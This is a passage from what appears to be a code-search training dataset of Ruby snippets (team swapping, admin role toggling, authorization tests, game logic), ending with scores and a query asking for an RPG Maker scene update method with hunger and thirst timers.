temp.inspect\n\n # puts \"team check: \" + team.inspect\n if student2_index.nil?\n team[team1] = []\n else\n if student1_index.nil?\n team[team1] << team[team2][student2_index]\n else\n team[team1][student1_index]= team[team2][student2_index]\n end\n end\n # puts \"nil check7: \" + team.inspect\n if temp.nil?\n team[team2] = []\n else\n if student2_index.nil?\n team[team2] << temp\n else\n team[team2][student2_index]= temp\n end\n end\n # puts \"nil check8: \" + team.inspect\n # puts\"after swap is\", team.inspect\n return team\n end", "def drop_off(passanger)\n for person in @passangers\n if person == passanger\n @passangers.delete(person)\n end\n end\nend", "def switch_players!\n if current_player==player1\n @current_player=player2\n else\n @current_player=player1\n end\n end", "def require_same_organizer\n if current_organizer != @event.organizer and !current_organizer.admin?\n flash[:danger] = \"You can only edit or delete your own events\"\n redirect_to root_path\n end \n end", "def is_deletable_by?(agent = nil)\n is_updatable_by?(agent)\n end", "def demote\n @group_user = @parent.find(params[:id]) #get the record\n\n if !current_user or (!current_user.is_admin and !@group.owners.include?(current_user)) or current_user == @group_user.user\n redirect_to @group, :notice => \"You cannot demote that user.\"\n return\n end\n\n respond_to do |format|\n # We'll set is_owner to true. Remember update_attribute bypasses validations!\n if @group_user.update_attribute(:is_owner, false)\n format.html { redirect_to(@group, :notice => 'Group user is now a regulare member.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def swap_players\n @cur_player = @players.find { |player| player != @cur_player }\n end", "def toggle_admin\n self.is_admin = !self.is_admin\n save!(:validate => false)\n end", "def test_multiple_updates_on_same_object\n # we start with dhh as owner and alexander as user/creator\n @presentation.name = \"new name\"\n @presentation.owner = @alexander\n @presentation.save\n \n assert_equal \"new name\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @alexander, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n # ---- owner is now alexander, user/creator also alexander\n \n @presentation.name = \"new name 2\"\n @presentation.save\n \n assert_equal \"new name 2\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @alexander, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@dhh.is_creator_of?(@presentation)\n assert @alexander.is_creator_of?(@presentation)\n \n # --- no change. owner: alexander, user/creator: alexander.\n \n @presentation.name = \"new name 3\"\n @presentation.user = @dhh\n @presentation.save\n \n assert_equal \"new name 3\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n # --- owner is still alexander, but user/creator is now dhh.\n \n @presentation.name = \"new name 4\"\n @presentation.owner = @dhh\n @presentation.save\n \n assert_equal \"new name 4\", @presentation.name\n assert_equal @dhh, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@alexander.is_owner_of?(@presentation)\n assert @dhh.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n # --- owner is now also dhh, user/creator is still dhh.\n \n @presentation.name = \"new name 5\"\n @presentation.owner = @alexander\n @presentation.save\n # @presentation.reload\n \n assert_equal \"new name 5\", @presentation.name\n assert_equal @alexander, @presentation.owner\n assert_equal @dhh, @presentation.user\n \n assert !@dhh.is_owner_of?(@presentation)\n assert @alexander.is_owner_of?(@presentation)\n \n assert !@alexander.is_creator_of?(@presentation)\n assert @dhh.is_creator_of?(@presentation)\n \n \n end", "def check_team_member\n if owner_team.user.id == guest_team.user.id || owner_team.user.id == guest_team.teammate.id || owner_team.teammate.id == guest_team.user.id || owner_team.teammate.id == guest_team.teammate.id\n errors.add(:game, \"can not have the same member in 2 team\")\n end \n end", "def updateAssignments(src, dest)\n if src.programme_item_assignments\n src.programme_item_assignments.each do |srcAssignment|\n if !srcAssignment.destroyed?\n # add the person only if the destination does not have that person\n if (dest.people == nil) || (dest.people.index(srcAssignment.person) == nil)\n # check their role for reserved, if reserved then we do not want that person published\n if (srcAssignment.role != PersonItemRole['Reserved'] && srcAssignment.role != PersonItemRole['Invisible'] )\n assignment = dest.published_programme_item_assignments.new(:person => srcAssignment.person, \n :role => srcAssignment.role, \n :sort_order => srcAssignment.sort_order,\n :description => srcAssignment.description,\n :person_name => srcAssignment.person.getFullPublicationName)\n assignment.save\n end\n else # the destination has the person, but their role may have changed\n # TODO - if the person is assigned twice we need to deal with it correctly... i.e. participant and reserved\n \n # find the index of the person only if the role and sort order are also different\n idx = dest.published_programme_item_assignments.index{ |a| (a.person == srcAssignment.person) && ((a.role != srcAssignment.role) || (a.sort_order != srcAssignment.sort_order))}\n if idx != nil && !dest.published_programme_item_assignments[idx].destroyed?\n if (srcAssignment.role == PersonItemRole['Reserved']) || (srcAssignment.role == PersonItemRole['Invisible'])\n # If the role is changed to reserved or invisible then they should be removed...\n dest.published_programme_item_assignments[idx].destroy\n else \n dest.published_programme_item_assignments[idx].role = srcAssignment.role\n dest.published_programme_item_assignments[idx].description = srcAssignment.description\n dest.published_programme_item_assignments[idx].sort_order = srcAssignment.sort_order\n dest.published_programme_item_assignments[idx].save\n end\n end\n end\n end\n end\n \n # if the destination has a person that the source does not then we need to remove that assignment\n dest.published_programme_item_assignments.each do |pitem|\n if (src.people.index(pitem.person) == nil)\n pitem.destroy\n end\n end\n else # since there are no source assignments we should then remove all the destination assignments (if there are any)\n if dest.published_programme_item_assignments\n dest.published_programme_item_assignments.destroy\n end\n end\n end", "def deletable_by?(agent = nil)\n updatable_by?(agent)\n end", "def populate_judge_team_for_testing(judge_team, judge_user, attorneys)\n judge_team.users << judge_user\n attorneys.each do |u|\n judge_team.users << u\n end\n judge_orguser = OrganizationsUser.existing_record(judge_user, judge_team)\n judge_orguser.update!(admin: true)\n end", "def lock_down_admin_only_params\n # all this bogus return false stuff is to prevent double render errors in some circumstances\n return if check_superuser_restricted_params == false\n return if check_may_set_user_id == false\n end", "def test_redact_way_unauthorised\n way = create(:way, :with_history, :version => 4)\n way_v3 = way.old_ways.find_by(:version => 3)\n\n do_redact_way(way_v3, create(:redaction))\n assert_response :unauthorized, \"should need to be authenticated to redact.\"\n end", "def want_to_leave!(team)\n self.teams.delete(team) if is_member_of?(team)\n end", "def admin!(person)\n person.admin = true\n person.save!\n person\n end", "def test_necessary_existence_of_deceased\n puts \"*** START OF TEST DECEASED ***\"\n puts \"PERSON DEC FLAG is #{@person.deceased}\"\n @person.deceased = nil\n assert !@person.save\n check_for_error(\"is not included in the list\", @person, :deceased)\n \n \n end", "def switch_players\n @current_player, @other_player = @other_player, @current_player\n end", "def switch_players\n @current_player, @other_player = @other_player, @current_player\n end", "def rebalance_artillery\n tech = @data[\"tech\"][:data]\n tech.delete [\"military_ordnance_canister_shot\", \"enable_canister_shot\", 1]\n tech.delete [\"military_ordnance_shrapnel_shot\", \"enable_shrapnel_shot\", 1]\n tech << [\"military_ordnance_canister_shot\", \"enable_shrapnel_shot\", 1]\n tech << [\"military_ordnance_shrapnel_shot\", \"enable_canister_shot\", 1]\n end", "def deactivate\n current_customer.deactivate_left_voluntarily\n redirect_to(action: :index)\n end", "def deactivate\n current_customer.deactivate_left_voluntarily\n redirect_to(action: :index)\n end", "def test_guest_wallet_decreases_when_they_pay_their_tab\n @room1.add_drinks_to_stock(@drink2)\n @room1.serve_drink_to_guest(@guest2, @drink2)\n @room1.guest_pays_tab(@guest2)\n assert_equal(18.50, @guest2.wallet())\n end", "def change_dealer\n game_state.dealer_seat = new_dealer_seat \n end", "def switch_players(player_one, player_two)\n self.current_player = current_player == player_one ? player_two : player_one\n\n end", "def permutation_two(m1, m2)\n m1.team_a, m2.team_a = m2.team_a, m1.team_a\n end", "def letter_swap(agent_name)\n vowels = \"aeiou\"\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n letter_swap = agent_name.split(\"\")\n secret_name = []\n letter_swap.map! do |ltr|\n if vowels.include?(ltr)\n secret_name << vowels[vowels.index(ltr)+1]\n elsif consonants.include?(ltr)\n secret_name << consonants [consonants.index(ltr)+1]\n else\n puts \" \"\n end\n end\n\n secret_name.join(\"\").split.map {|ltr| ltr.capitalize}.join(' ').capitalize\n\nend", "def deactivate\n transaction do\n if update(active: false)\n case_assignments.update_all(active: false)\n supervisor_volunteer&.update(is_active: false)\n end\n end\n self\n end", "def can_manage_teams?\n admin? || board_member? || results_team?\n end", "def change_turns\n (@current_player == @p1) ? @current_player = @p2 : @current_player = @p1\n end", "def demote\n @primary = false\n @secondary = true\n\n hiccup\n end", "def do_not_rename_or_destroy_admins_group\n if @group and @group.is_the_administrators_group?\n redirect_to :action => 'list' and return false\n end\n end", "def test_unredact_way_moderator\n moderator_user = create(:moderator_user)\n way = create(:way, :with_history, :version => 2)\n way_v1 = way.old_ways.find_by(:version => 1)\n way_v1.redact!(create(:redaction))\n\n basic_authorization moderator_user.email, \"test\"\n\n post :redact, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :success, \"should be OK to unredact old version as moderator.\"\n\n # check moderator can still see the unredacted data, without passing\n # the appropriate flag\n get :version, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :success, \"After unredaction, node should not be gone for moderator.\"\n\n # and when accessed via history\n get :history, :params => { :id => way_v1.way_id }\n assert_response :success, \"Unredaction shouldn't have stopped history working.\"\n assert_select \"osm way[id='#{way_v1.way_id}'][version='#{way_v1.version}']\", 1, \"way #{way_v1.way_id} version #{way_v1.version} should still be present in the history for moderators.\"\n\n basic_authorization create(:user).email, \"test\"\n\n # check normal user can now see the unredacted data\n get :version, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :success, \"After redaction, node should not be gone for moderator, when flag passed.\"\n\n # and when accessed via history\n get :history, :params => { :id => way_v1.way_id }\n assert_response :success, \"Redaction shouldn't have stopped history working.\"\n assert_select \"osm way[id='#{way_v1.way_id}'][version='#{way_v1.version}']\", 1, \"way #{way_v1.way_id} version #{way_v1.version} should still be present in the history for normal users.\"\n end", "def handle_admin_role_ids(role)\n current_members = send(role.to_s.pluralize)\n new_members = Person.find(send(\"#{role}_ids\"))\n\n to_add = new_members - current_members\n to_remove = current_members - new_members\n to_add.each do |person|\n person.send(\"is_#{role}=\", [true, self])\n disable_authorization_checks { person.save! }\n end\n to_remove.each do |person|\n person.send(\"is_#{role}=\", [false, self])\n disable_authorization_checks { person.save! }\n end\n end", "def handle_admin_role_ids(role)\n current_members = send(role.to_s.pluralize)\n new_members = Person.find(send(\"#{role}_ids\"))\n\n to_add = new_members - current_members\n to_remove = current_members - new_members\n to_add.each do |person|\n person.send(\"is_#{role}=\", [true, self])\n disable_authorization_checks { person.save! }\n end\n to_remove.each do |person|\n person.send(\"is_#{role}=\", [false, self])\n disable_authorization_checks { person.save! }\n end\n end", "def toggle_admin\n do_toggle_role :admin\n end", "def seeded_teams\n raise 'Not Implemented'\n end", "def user_switched?(coop)\n @user.coop_id != coop\n end", "def check_off(verifier)\n if verifier != self.workshifter || verifer.role === 'Workshift Manager' || verifier.role === 'Unit-Level Admin'\n self.verifier = verifier\n self.status = \"complete\"\n self.sign_off_time = Time.zone.now # NEEDS TO BE FIXED PROBABLY\n gen_next_assignment\n self.save!\n end\n end", "def setup_admins_users\n begin\n click_on('Logout')\n rescue\n print\n end\n\n Warden.test_reset!\n\n @a1 = admins(:elle_woods)\n @a2 = admins(:vivian_kensington)\n @a3 = admins(:emmett_richmond)\n\n @u1 = users(:connery)\n @u2 = users(:moore)\n @u3 = users(:brosnan)\nend", "def can_promote?(user)\n (!eql? user) && (team.team_captain.eql? self)\n end", "def maintenance_actions\n\t\t\tif is_mortgaged?\n\t\t\t\t\t\tif @owner.decide(:consider_unmortgage, property: self).is_yes? and @owner.balance > cost\n\t\t\t\t\t\t\tunmortgage!\n\t\t\t\t\t\tend\n\t\t\tend\n\t\t\tsuper\n\t\tend", "def conversar(person_one, person_two)\n person_one.hablar\n person_two.hablar\nend", "def swap; end", "def test_redact_way_normal_user\n basic_authorization create(:user).email, \"test\"\n way = create(:way, :with_history, :version => 4)\n way_v3 = way.old_ways.find_by(:version => 3)\n\n do_redact_way(way_v3, create(:redaction))\n assert_response :forbidden, \"should need to be moderator to redact.\"\n end", "def assign_proxy_switch(dvs, switch_name, pnics, pnics_available)\n dvs = dvs.item\n\n # Return if host is already assigned\n return dvs if !dvs['config.host'].select { |host| host.config.host._ref == self['_ref'] }.empty?\n\n # Prepare spec for DVS reconfiguration\n configSpec = RbVmomi::VIM::VMwareDVSConfigSpec.new\n configSpec.name = switch_name\n configSpec.configVersion = dvs['config.configVersion']\n\n # Check if host is already assigned to distributed switch\n operation = \"add\"\n ##operation = \"edit\" if !dvs['config.host'].select { |host| host.config.host._ref == self['_ref'] }.empty?\n\n # Add host members to the distributed virtual switch\n host_member_spec = RbVmomi::VIM::DistributedVirtualSwitchHostMemberConfigSpec.new\n host_member_spec.host = @item\n host_member_spec.operation = operation\n host_member_spec.backing = RbVmomi::VIM::DistributedVirtualSwitchHostMemberPnicBacking.new\n host_member_spec.backing.pnicSpec = []\n\n # If pnics are needed assign pnics for uplinks\n if pnics\n pnics = pnics.split(\",\")\n # Get uplink portgroup from dvswitch\n uplink_key = dvs['config.uplinkPortgroup'].select{\n |ul| ul.name == \"#{switch_name}-uplink-pg\"}.first.key rescue nil\n\n raise \"Cannot find the uplink portgroup for #{switch_name}\" if !uplink_key\n\n pnics.each {|pnic|\n pnicSpec = RbVmomi::VIM::DistributedVirtualSwitchHostMemberPnicSpec.new\n pnicSpec.pnicDevice = pnic\n pnicSpec.uplinkPortgroupKey = uplink_key\n host_member_spec.backing.pnicSpec << pnicSpec\n }\n end\n\n configSpec.host = [host_member_spec]\n\n # The DVS must be reconfigured\n dvs_reconfigure_task = dvs.ReconfigureDvs_Task(:spec => configSpec)\n dvs_reconfigure_task.wait_for_completion\n if dvs_reconfigure_task.info.state != 'success'\n raise \"It wasn't possible to assign host #{self[\"name\"]} as a member of #{switch_name}'\"\n end\n\n return dvs\n end", "def test_legacy_codes_unique\n spods = Person.find(:all, :limit => 2)\n person1 = spods[0]\n person2 = spods[1]\n \n new_leg_code = \"AAAA\"\n assert person1.legacy4d_identity_code !=person2.legacy4d_identity_code\n person1.legacy4d_identity_code = new_leg_code\n person2.legacy4d_identity_code = new_leg_code\n assert !person1.save\n assert !person2.save\n \n end", "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end", "def deactivate!\n update!(active: false)\n bank_guarantee.try(:deactivate!)\n end", "def reassign_team_sets\n @delta[:teams].each do |tobj|\n team_set = get_team_set_by_team_id(tobj[:id])\n next if team_set.blank?\n if tobj[:deleted]\n @team_sets_by_team_id.delete(tobj[:id])\n team_set.destroy\n elsif tobj[:new]\n set_team_set_by_team_id(tobj[:new_id], team_set_class.create(assessment_id: @assessment.id, team_id: tobj[:new_id]))\n else \n team_set.team_id = tobj[:new_id]\n team_set.save\n set_team_set_by_team_id(tobj[:new_id], team_set)\n end\n end\n end", "def diferent\n \t\tif team_id == team_id\n \t\t\terrors.add(:team_id, 'ERROR')\n \t\t end\n \tend", "def test_create_dwts_partcipants\n\t\tgame = DWTS.new\n\n\t\ted = Contestant.new(\"Ed\")\n\t\tmax = Partner.new (\"Max\")\n\n\t\tgame.dancers = [ed, max]\n\t\tassert_equal game.dancers, [ed, max]\n\tend", "def name_swapper(full_name)\n full_name = full_name.downcase\n vowel_array = ['a','e','i','o','u']\n consenant_array = \"bcdfghjklmnpqrstvwxyz\".split('')\n name_array = full_name.split(\" \")\n reversed_name= \"#{name_array[1]} #{name_array[0]}\"\n secret_name = reversed_name.split('').map! do |letter|\n if vowel_array.include?(letter)\n vowel_array[vowel_array.index(letter)+1]\n elsif consenant_array.include?(letter)\n consenant_array[consenant_array.index(letter)+1]\n elsif letter == \" \"\n \" \"\n end\n\n end\n puts \"Your name USED to be #{full_name.upcase}...but now your name is #{secret_name.join.upcase}!\"\n secret_name.join.upcase\nend", "def consenant_swap(name)\r\n name = name.downcase\r\n consenants = \"bcdfghjklmnpqrstvwxyz\"\r\n name_index = 0\r\n cons_index = 0\r\n while name_index < name.length\r\n if name[name_index] == \"a\" || name[name_index] == \"e\" ||name[name_index] == \"i\"|| name[name_index] == \"o\" || name[name_index] == \"u\" || name[name_index] == \" \"\r\n name_index += 1\r\n elsif name[name_index] == \"z\"\r\n name[name_index] = \"b\"\r\n name_index += 1\r\n else\r\n until name[name_index] == consenants[cons_index]\r\n cons_index += 1\r\n end\r\n name[name_index] = consenants[cons_index + 1]\r\n name_index += 1\r\n end\r\n cons_index = 0\r\n end\r\n name\r\nend", "def cannot_promote_admin\n member = Member.find_by({\n band_id: params[:id],\n user_id: params[:user_id]\n })\n\n if member.is_admin?\n flash[:danger] = \"The user is already an admin.\"\n redirect_to band_url(params[:id])\n end\n end", "def deactivate!\n self.active = false\n if save!\n # Set the org_id on the Plan before calling deactivate. The org_id should\n # not be blank. This catches the scenario where the `upgrade:v2_2_0_part1`\n # upgrade task has not been run or it missed a record for some reason\n plan.org_id = user.org_id if plan.org_id.blank?\n plan.deactivate! if plan.authors.empty?\n true\n else\n false\n end\n end", "def unsignup!(person)\n shifts.collect{|shift| shift.unsignup!(person)}\n end", "def test_should_not_create_people_rate_with_the_same_params\n @request.session[:user_id] = @admin.id\n should_not_create_people_rate :success, @people_rate_params_old\n @people_rate_params_old[:rate] = 100\n should_not_create_people_rate :success, @people_rate_params_old\n end", "def pass_on_extra_assignment(assassin_id, deceased_id)\n deceased_assignment = Player.find(deceased_id).assignments.where(:active => true).last\n affected_assignment = Assignment.where(:active => true, :target_id => deceased_id).last\n deceased_assignment.update_attributes(:active => false) if deceased_assignment\n affected_assignment.update_attributes(:active => false) if affected_assignment\n\n can_end, winner = current_round.can_end?\n if can_end\n current_round.end(winner)\n else\n new_assignment = Assignment.new(:player_id => affected_assignment.player_id,\n :target_id => deceased_assignment.target_id,\n :active => true,\n :round_id => current_round.id)\n new_assignment.save\n safe_mail(\"new_assignment_email\", [Player.find(new_assignment.player_id), new_assignment])\n end\n end", "def set_dead_enemies_self_switches\n for i in 0...$game_temp.enemy_troop.size\n event_id = $game_temp.event_troop[i]\n delete = $game_temp.event_delete[i]\n enemy = $game_troop.enemies[i]\n if enemy != nil and enemy.dead? and delete\n key = [$game_map.map_id, event_id, 'D']\n $game_self_switches[key] = true\n elsif enemy != nil and enemy.dead? and not delete\n $game_map.events[event_id].erase\n end\n end\n end", "def deny\n @ride = current_user.fares.find_by_id(params[:ride])\n @ride.deny(User.find_by_id(params[:passenger]))\n redirect_to user_path(current_user)\n end", "def update_administrators\n if user_id_changed?\n if (user_id)\n Membership.find_by_user_id_and_network_id(user_id, id).try(:destroy) # delete membership of new owner\n end \n if (user_id_was)\n Membership.create(:user_id => user_id_was, :network_id => id,\n :administrator => true, :invited_by => User.find(user_id)).accept! # create membership for old owner\n end\n end\n end", "def is_deletable\n not is_default_cash_gift\n end", "def change_team\n @changeTeamUser = User.find(params[:id])\n oldTeam = Team.find(@changeTeamUser.team_id)\n usersOnOldTeam = User.where(team_id: oldTeam.id)\n usersOnOldTeam.each do |u|\n Bulletin.destroy_all(user_id: u.id, approval_pending: true)\n Approval.destroy_all(user_id: u.id)\n end\n\n if @changeTeamUser.update_attributes(:team_id => nil)\n if User.find_by(team_id: oldTeam.id) == nil\n Team.destroy(oldTeam.id)\n end\n redirect_to(\"/users/#{current_user.id}\")\n else\n redirect_to \"/404/\"\n end\n\n end", "def demote\n user = User.find(params[:id])\n\n redirect_to root_path if current_user.uid == user.uid\n\n return unless current_user.user_role.can_promote_demote && (user.user_role.name == 'Officer')\n\n user.user_role = UserRole.find_by(name: 'User')\n user.save\n\n redirect_to user_path(user)\n end", "def test_guest_cannot_buy_drink_if_they_have_insufficient_funds\n @room1.add_drinks_to_stock(@drink1)\n @room1.add_drinks_to_stock(@drink2)\n guest6=Guest.new(\"Kaka\", 1.00, \"Always look on the bright side of life.\")\n guest6.show_tab\n expected = \"You can't afford this drink.\"\n assert_equal(expected, @room1.refuse_guest_drink_if_they_cannot_afford_it(guest6, @drink1))\n end", "def test_set_role\n\n admin_session = cathy_admin_session\n \n pcb_input_gate = Role.find_by_name('PCB Input Gate')\n tracker_admin = Role.find_by_name('Admin')\n \n post(:set_role, { :id => pcb_input_gate.id }, admin_session)\n session_user = User.find(session[:user_id])\n assert_equal(pcb_input_gate.name, session_user.active_role.name)\n assert_redirected_to(:controller => 'tracker')\n\n post(:set_role, { :id => tracker_admin.id }, admin_session)\n session_user.reload\n assert_equal(tracker_admin.name, session_user.active_role.name)\n assert_redirected_to(:controller => 'tracker')\n\n end", "def test_should_find_optimum_fill_complex\n @swap = swaps(:registration_period)\n @old = swaps(:expired)\n (\"A\"..\"H\").each { |i| create_user(:login => \"user_#{i}\", :email => \"#{i}@test.com\") }\n @old_set_1 = @old.swapsets.create :name => \"Old Set 1\"\n @old_set_2 = @old.swapsets.create :name => \"Old Set 2\"\n @old_set_3 = @old.swapsets.create :name => \"Old Set 3\"\n @old_set_4 = @old.swapsets.create :name => \"Old Set 4\"\n @old_set_5 = @old.swapsets.create :name => \"Old Set 5\"\n @old_set_6 = @old.swapsets.create :name => \"Old Set 6\"\n @set = @swap.swapsets.create :name => \"New Set\"\n # old sets are constructed so that [G,H] is the best possible solution\n %w{ A E }.each { |i| @old_set_1.assign(User.find_by_login(\"user_#{i}\")) }\n %w{ B F }.each { |i| @old_set_2.assign(User.find_by_login(\"user_#{i}\")) }\n %w{ C E }.each { |i| @old_set_3.assign(User.find_by_login(\"user_#{i}\")) }\n %w{ D F }.each { |i| @old_set_4.assign(User.find_by_login(\"user_#{i}\")) }\n %w{ A G }.each { |i| @old_set_5.assign(User.find_by_login(\"user_#{i}\")) }\n %w{ B H }.each { |i| @old_set_6.assign(User.find_by_login(\"user_#{i}\")) }\n %w{ A B C D }.each do |i|\n user = User.find_by_login(\"user_#{i}\")\n @set.assign user\n end\n %w{ E F G H }.each do |i|\n user = User.find_by_login(\"user_#{i}\")\n user.registrations.find_by_swap_id(@swap).set_as_double\n end\n @swap.initialize_set(@swap.users, SWAPSET_SIZE, Swapset.find(:all).map {|set| set.users})\n @swap.fill_set(@set)\n @set.reload\n assert_equal 6, @set.users.size\n %w{ A B C D G H}.each do |i|\n assert @set.users.include?(User.find_by_login(\"user_#{i}\"))\n end\n %w{ E F }.each do |i|\n assert !(@set.users.include?(User.find_by_login(\"user_#{i}\")))\n end\n end", "def decline\n @join_team_request.status = 'D'\n @join_team_request.save\n redirect_to view_student_teams_path student_id: params[:teams_user_id]\n end", "def relieve(replacement_team_lead_id, new_relieving_date)\n if subordinates.any? && replacement_team_lead_id.blank?\n errors.add(:base, \"You must provide new team leader for the subordinates.\")\n elsif new_relieving_date.blank?\n errors.add(:base, \"You must provide the relieving date for employee.\")\n else\n new_relieving_date = Date.parse(new_relieving_date)\n Employee.transaction do \n current_assignments_on(new_relieving_date).each do |assignment|\n assignment.update_attributes(relieving_date: new_relieving_date)\n end\n\n subordinates.each do |subordinate|\n if subordinate.id != replacement_team_lead_id\n subordinate.update_attributes(team_lead_id: replacement_team_lead_id)\n else\n subordinate.update_attributes(team_lead_id: nil)\n end\n end\n update_attributes(relieving_date: new_relieving_date, active: false)\n end\n end\n self\n end" ]
[ "0.5938554", "0.5792789", "0.5743663", "0.5689024", "0.56889033", "0.56475407", "0.5573941", "0.55691195", "0.55393565", "0.5538354", "0.5515899", "0.55106276", "0.5466506", "0.5458252", "0.539861", "0.53938746", "0.53305703", "0.5319151", "0.531423", "0.530832", "0.5306062", "0.528523", "0.52731526", "0.5271906", "0.5269189", "0.5264015", "0.52626145", "0.5254722", "0.5253657", "0.5249335", "0.5241085", "0.5232342", "0.5224538", "0.5223184", "0.5221729", "0.52174777", "0.52137274", "0.5208097", "0.5204315", "0.5198276", "0.519496", "0.5172702", "0.5172666", "0.5166423", "0.51642513", "0.5153283", "0.51435834", "0.51435834", "0.51392454", "0.5125531", "0.5125531", "0.51188016", "0.5114166", "0.5094928", "0.50927585", "0.5089294", "0.50821286", "0.50817543", "0.5072374", "0.50716716", "0.506729", "0.5063582", "0.50583017", "0.50583017", "0.50506926", "0.50497574", "0.5047388", "0.5047122", "0.5044268", "0.5034159", "0.5029456", "0.50290316", "0.5023402", "0.5020083", "0.5020013", "0.5018998", "0.5016676", "0.5016676", "0.5016175", "0.5015832", "0.501446", "0.50040805", "0.50022584", "0.4997157", "0.49950746", "0.4993062", "0.49908763", "0.49894953", "0.49872836", "0.49845445", "0.4982052", "0.49797204", "0.4977713", "0.4966242", "0.4964544", "0.49614924", "0.49608973", "0.49578512", "0.4957366", "0.49550742" ]
0.7076485
0
Update:: Updates the surrent scene
def update syn_ht_update wait(1, true) if @wait_time != SynHT::Frames_hunger_down wait(1, false) if @wait_time_thirst != SynHT::Frames_thirst_down if @wait_time == SynHT::Frames_hunger_down or @wait_time2 == SynHT::Frames_thirst_down for i in 0...$game_party.actors.size $game_party.actors[i].hunger += 1 if @wait_time == SynHT::Frames_hunger_down $game_party.actors[i].thirst += 1 if @wait_time2 == SynHT::Frames_thirst_down call_ht_event(0, 0) if $game_party.actors[i].hunger == 200 call_ht_event(1, 0) if $game_party.actors[i].hunger == 175 call_ht_event(2, 0) if $game_party.actors[i].hunger == 150 call_ht_event(3, 0) if $game_party.actors[i].hunger == 125 call_ht_event(4, 0) if $game_party.actors[i].hunger == 100 call_ht_event(5, 0) if $game_party.actors[i].hunger == 75 call_ht_event(6, 0) if $game_party.actors[i].hunger == 50 call_ht_event(7, 0) if $game_party.actors[i].hunger == 25 call_ht_event(8, 0) if $game_party.actors[i].hunger == 0 call_ht_event(0, 1) if $game_party.actors[i].thirst == 200 call_ht_event(1, 1) if $game_party.actors[i].thirst == 175 call_ht_event(2, 1) if $game_party.actors[i].thirst == 150 call_ht_event(3, 1) if $game_party.actors[i].thirst == 125 call_ht_event(4, 1) if $game_party.actors[i].thirst == 100 call_ht_event(5, 1) if $game_party.actors[i].thirst == 75 call_ht_event(6, 1) if $game_party.actors[i].thirst == 50 call_ht_event(7, 1) if $game_party.actors[i].thirst == 25 call_ht_event(8, 1) if $game_party.actors[i].thirst == 0 end end @wait_time = 0 if @wait_time == SynHT::Frames_hunger_down @wait_time2 = 0 if @wait_time2 == SynHT::Frames_thirst_down end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\r\n $scene.update\r\n end", "def update\n @timer.update(Window.fps)\n case @scene\n when 'intro'\n update_intro\n when 'level'\n update_level\n when 'transition'\n update_transition\n when 'credits'\n update_credits\n end\n end", "def update\n # Remove the current Scene if it's marked for deletion\n @@scenes.shift if current_scene and current_scene.ended?\n # Update the current scene if it exists, otherwise exit\n \tcurrent_scene ? current_scene.update : exit\n end", "def update\n state.fire_events_for_mouse_movement\n state.fire_events_for_held_buttons\n scene.base_update\n end", "def update\n ::Scheduler.start(:on_update)\n if @last_scene != $scene\n sort_z\n @last_scene = $scene\n end\n # Internal update management\n update_manage\n unless @no_mouse\n Mouse.moved = (@mouse.x != Mouse.x || @mouse.y != Mouse.y)\n @mouse.x = Mouse.x\n @mouse.y = Mouse.y\n end\n Audio.update\n update_cmd_eval if @__cmd_to_eval\n rescue LiteRGSS::Error\n puts 'Graphics stopped but did not raised the `LiteRGSS::Graphics::ClosedWindowError` exception'\n raise LiteRGSS::Graphics::ClosedWindowError, 'Temporary fix'\n end", "def update\n update_animation\n end", "def update\n auto_transfert_update\n update_graphics\n return false if switched_to_main_rmxp_scene\n return false unless super # Update message window & break if messages are shown\n\n update_scene_calling\n ensure\n @running = false if $scene != self\n end", "def update(time)\n @scene.clear\n @attache.lenses.each do |l|\n scene.addPixmap(l.image.to_pix)\n end\n @scene = scene\n end", "def message_update_processing\n Graphics.update\n $scene&.update\n end", "def draw\r\n $scene.draw\r\n end", "def main_loop\r\n Graphics.update # Update game screen\r\n Input.update # Update input information\r\n main_update # Update scene objects\r\n update # Update Processing\r\n end", "def update\n super\n @spriteset.update\n $game_timer.update\n $game_fishing.update\n end", "def update_scene_change\n return if $game_player.moving?\n #noinspection RubyResolve\n return call_partyform if $game_temp.next_scene == :partyform\n h87_formation_update_scene_change\n end", "def draw\n\t\t\t\tcurrent_scene and current_scene.draw\n end", "def update\n update_flow\n update_sprites\n update_weather\n update_timer\n update_viewports\n @brightness -= 15 if @brightness > 0\n end", "def update\n super\n @book.update if @book\n SceneManager.return if Input.trigger?(:B)\n end", "def main\n create_graphics\n curr_scene = $scene\n check_up\n while @running && curr_scene == $scene\n Graphics.update\n update\n end\n dispose\n # Unload title related pictures\n RPG::Cache.load_title(true)\n RPG::Cache.load_interface(true)\n ::Scheduler.start(:on_scene_switch, ::Scene_Title) if !@running && $scene.is_a?(Scene_Map)\n end", "def update\n\n return if $scene.is_a?(Scene_Menu)\n return if $scene.is_a?(Scene_GameOver)\n\n # Model update\n @map.update \n return if $scene.is_a?(Scene_Menu)\n return if $scene.is_a?(Scene_GameOver)\n @player.update\n\n # Elements update\n @panoramas.each{ |p| p.update } # With animated position\n @tilemap.ox = @map.display_x / 4\n @tilemap.oy = @map.display_y / 4\n @tilemap.update\n @characters.each{ |s| s.update }\n @sparks.each{ |s| \n # Mouse click needs to follow, others do not\n # Maybe just do all\n s.ox = @map.display_x/4\n s.oy = @map.display_y/4\n s.update \n }\n @pops.each{ |s| \n #s.ox = 